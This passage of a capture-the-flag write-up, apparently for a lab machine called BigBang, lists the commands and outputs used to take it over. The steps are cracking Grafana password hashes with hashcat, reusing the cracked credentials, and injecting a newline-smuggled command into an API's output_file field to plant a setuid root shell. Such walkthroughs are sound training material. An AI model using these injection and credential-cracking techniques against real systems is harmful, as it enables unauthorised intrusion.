root        1435  0.0  0.0 1671944 2956 ?        Sl   02:56   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.2 -container-port 3000
root        1511  0.0  0.0 1598212 3340 ?        Sl   02:56   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.17.0.3 -container-port 80
root        1516  0.0  0.0 1598212 3360 ?        Sl   02:56   0:00  _ /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 80 -container-ip 172.17.0.3 -container-port 80
root        1590  0.0  0.0 1745676 3900 ?        Sl   02:56   0:03  _ /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 3306 -container-ip 172.17.0.4 -container-port 3306
containerd.sock
root        1475  0.1  3.5 1519704 142564 ?      Ssl  02:56   0:39  _ grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
root        1533  0.0  0.3 1238400 12104 ?       Sl   02:56   0:04 /usr/bin/containerd-shim-runc-v2 -namespace moby -id bf9a078a362763666710f854473b19cc912d8f931af5a712788d45704664533d -address /run/containerd/containerd.sock
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:46337         0.0.0.0:*               LISTEN      -
tcp        0      0 172.17.0.1:3306         0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
╔══════════╣ Useful software
/usr/bin/base64
/usr/bin/ctr
/usr/bin/curl
/usr/bin/docker
/usr/bin/g++
/usr/bin/gcc
/snap/bin/lxc
/usr/bin/make
/usr/bin/nc
/usr/bin/netcat
/usr/bin/perl
/usr/bin/ping
/usr/bin/python3
/usr/sbin/runc
/usr/bin/sudo
/usr/bin/wget
╔══════════╣ Searching tables inside readable .db/.sql/.sqlite files (limit 100)
Found /opt/data/grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 780, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 780
Found /var/lib/command-not-found/commands.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 883, 1st free page 793, free pages 1, cookie 0x4, schema 4, UTF-8, version-valid-for 5
Found /var/lib/fail2ban/fail2ban.sqlite3: regular file, no read permission
Found /var/lib/fwupd/pending.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 3, database pages 6, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Found /var/lib/PackageKit/transactions.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 5, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 5

Grafana is interesting

-bash-5.1$ find -ls
   393558      4 drwxr-xr-x   6 root     root         4096 Feb  1 11:36 .
   393561      4 drwxr--r--   2 root     root         4096 Jun  5  2024 ./png
   393559      4 drwxr-xr-x   2 root     root         4096 Jun  5  2024 ./plugins
   393562      4 drwxr--r--   2 root     root         4096 Jun  5  2024 ./csv
   393563      4 drwxr--r--   2 root     root         4096 Jun  5  2024 ./pdf
   393560    984 -rw-r--r--   1 root     root      1003520 Feb  1 11:36 ./grafana.db

sqlite3 doesn't exist.

-bash-5.1$ sqlite3 grafana.db
-bash: sqlite3: command not found

Download with scp

└─$ sshpass -p 'quantumphysics' scp shawking@bigbang.htb:/opt/data/grafana.db .
└─$ sqlite3 grafana.db '.mode column' '.headers on' 'select login,email,password,salt,rands from user'
login      email                password                                                      salt        rands
---------  -------------------  ------------------------------------------------------------  ----------  ----------
admin      admin@localhost      441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9b  CFn7zMsQpf  CgJll8Bmss
                                a6bd47d70edb7421b05d9706ba6147cb71973a34

developer  ghubble@bigbang.htb  7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c  4umebBJucv  0Whk1JNfa3
                                59db93577b12201c0151256375d6f883f1b8d960

grafana2hashcat

└─$ sqlite3 grafana.db "SELECT REPLACE('sha256:10000:' || BASE64(CAST(salt AS BLOB)) || ':' || BASE64(UNHEX(password)),CHAR(10),'') FROM user"
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

Note: Base64 function decodes if type is blob, if text encodes. refer to https://www.sqlite.org/base64.html

➜ .\hashcat.exe -a 0 -m 10900 .\hashes .\rockyou.txt
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang

Privilege Escalation (root)

Credentials work for local user

-bash-5.1$ su developer
Password: bigbang
bash-5.1$ id
uid=1002(developer) gid=1002(developer) groups=1002(developer)

No need to port forward Grafana I think 🤔

└─$ sshpass -p 'quantumphysics' ssh shawking@bigbang.htb -L 3000:0:3000
bash-5.1$ find -type f -ls
   524366      4 -rw-rw-r--   1 developer developer       88 Feb  1 06:04 ./snap/lxd/common/config/config.yml
   524354      4 -rw-r--r--   1 developer developer      807 Jun  1  2024 ./.profile
   524370   1364 -rwsrwxrwx   1 root      root       1396520 Feb  1 06:31 ./etux
   524327   2416 -rw-rw-r--   1 developer developer  2470974 Jun  7  2024 ./android/satellite-app.apk
   524369      4 -rw-------   1 developer developer       32 Feb  1 06:05 ./.gnupg/pubring.kbx
   524371      4 -rw-------   1 developer developer     1200 Feb  1 06:05 ./.gnupg/trustdb.gpg
   524355      4 -rw-r--r--   1 developer developer     3771 Jun  1  2024 ./.bashrc
   524356      4 -rw-r--r--   1 developer developer      220 Jun  1  2024 ./.bash_logout
   524358      0 -rw-r--r--   1 developer developer        0 Jun  6  2024 ./.cache/motd.legal-displayed
bash-5.1$ file *
android: directory
etux:    setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a6408ba82a2d86dd98f1f75ac8edcb695f6fd60, for GNU/Linux 3.2.0, stripped
snap:    directory
└─$ sshpass -p 'bigbang' scp developer@bigbang.htb:~/android/satellite-app.apk .
└─$ sudo apt install apktool -y
└─$ apktool d satellite-app.apk -o satellite-app
# Delete junk
└─$ rm -rf kotlin/ original/ res/
└─$ cat unknown/okhttp3/internal/publicsuffix/NOTICE
Note that publicsuffixes.gz is compiled from The Public Suffix List:
https://publicsuffix.org/list/public_suffix_list.dat

It is subject to the terms of the Mozilla Public License, v. 2.0:
https://mozilla.org/MPL/2.0/
└─$ rm -rf unknown/

Smali code was all over the place so I decided to use MobSF: Mobile-Security-Framework-MobSF

Analysis may take 3-5 minutes

Writeup-3.png
Writeup-4.png
Writeup-5.png
Writeup-6.png

After filtering for bigbang.htb there's 2 routes: /login and /command

Authorization header value seems to be coming from login so let's do that first. Code was really messy, but API was chatty enough to say what it wanted.

bash-5.1$ curl 0:9090/login -H 'Content-Type: application/json' -d '{}'
{"error":"Missing username or password"}
bash-5.1$ curl 0:9090/login -H 'Content-Type: application/json' -d '{"username":"developer","password":"bigbang"}'
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODQxODExOCwianRpIjoiNTg0MWQ4MTItNTkwNS00YzRlLTkwMTktNjc1NzE3ZjU4NmIxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODQxODExOCwiY3NyZiI6IjQzODAzNjI4LWE5MmMtNDk5ZC1hNmRhLTdiY2RmMTEwMTBmMSIsImV4cCI6MTczODQyMTcxOH0.-83Yzn2zPMRQKxg7AehNWP2m1KXngnE6Q7NKvdxm7B0"}

Actually if we look for class name we can identify arguments.

Writeup-7.png

There seems to be 2 commands. First is move with x, y, z coordinates?

Writeup-8.png

And second is send_image with output_file

Pasted_image_20250201180525.png
bash-5.1$ curl 0:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODQxODExOCwianRpIjoiNTg0MWQ4MTItNTkwNS00YzRlLTkwMTktNjc1NzE3ZjU4NmIxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODQxODExOCwiY3NyZiI6IjQzODAzNjI4LWE5MmMtNDk5ZC1hNmRhLTdiY2RmMTEwMTBmMSIsImV4cCI6MTczODQyMTcxOH0.-83Yzn2zPMRQKxg7AehNWP2m1KXngnE6Q7NKvdxm7B0' -H 'Content-Type: application/json' -d '{"command":"move","x":1,"y":2,"z":3}'
{"status":"developer is moving to coordinates (1.0, 2.0, 3.0)"}

Outputs about special characters looked like classic filters for command injection.

-d '{"command":"send_image","output_file":"test.png$"}'
{"error":"Output file path contains dangerous characters"}

-d '{"command":"send_image","output_file":"test.png{{"}'
{"error":"Output file path contains dangerous characters"}

-d '{"command":"send_image","output_file":"test.png id"}'
{"error":"Error generating image: "}

I wanted to insert newline, but application crashed with Errno 2

-d '{"command":"send_image","output_file":"test.png\nid"}'
{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\nid'"}

Error is raised by Python, probably the output_file is parsed into os.system or smth. Anyway the api returns error but command is executed.

Writeup-10.png
bash-5.1$ curl 0:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODQxODExOCwianRpIjoiNTg0MWQ4MTItNTkwNS00YzRlLTkwMTktNjc1NzE3ZjU4NmIxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODQxODExOCwiY3NyZiI6IjQzODAzNjI4LWE5MmMtNDk5ZC1hNmRhLTdiY2RmMTEwMTBmMSIsImV4cCI6MTczODQyMTcxOH0.-83Yzn2zPMRQKxg7AehNWP2m1KXngnE6Q7NKvdxm7B0' -H 'Content-Type: application/json' -d '{"command":"send_image","output_file":"test.png\n install -m4777 /bin/bash /tmp/rootbash"}'{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\n install -m4777 /bin/bash /tmp/rootbash'"}
bash-5.1$ /tmp/rootbash -p
rootbash-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)

Root.txt

rootbash-5.1# cat /root/root.txt
8b7f4316d6cd79d748a218801e2eaf8f

Last updated